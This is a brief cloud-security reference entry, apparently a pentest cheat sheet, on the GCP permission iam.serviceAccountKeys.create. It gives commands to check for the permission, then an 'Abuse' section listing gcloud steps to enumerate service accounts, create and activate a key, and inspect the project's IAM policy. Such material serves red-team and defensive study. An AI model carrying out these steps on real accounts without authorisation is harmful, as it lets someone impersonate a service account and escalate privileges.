iam.serviceAccountKeys.create

The iam.serviceAccountKeys.create permission allows a principal to generate a new private key for a service account. The generated key is downloaded as a JSON credential file, which can then be used to authenticate as that service account from any environment, including outside of Google Cloud.

How To Check If You Have It

##Check your role
gcloud iam roles describe ROLE_NAME
##gcloud projects get-iam-policy PROJECT_ID
##Look for
iam.serviceAccountKeys.create

Abuse

##Enumerate Service Accounts
gcloud iam service-accounts list
##Create Key
gcloud iam service-accounts keys create key.json \
  --iam-account=SA_EMAIL
##Activate the Key
gcloud auth activate-service-account \
  --key-file=key.json
##Check Its Power
gcloud projects get-iam-policy PROJECT_ID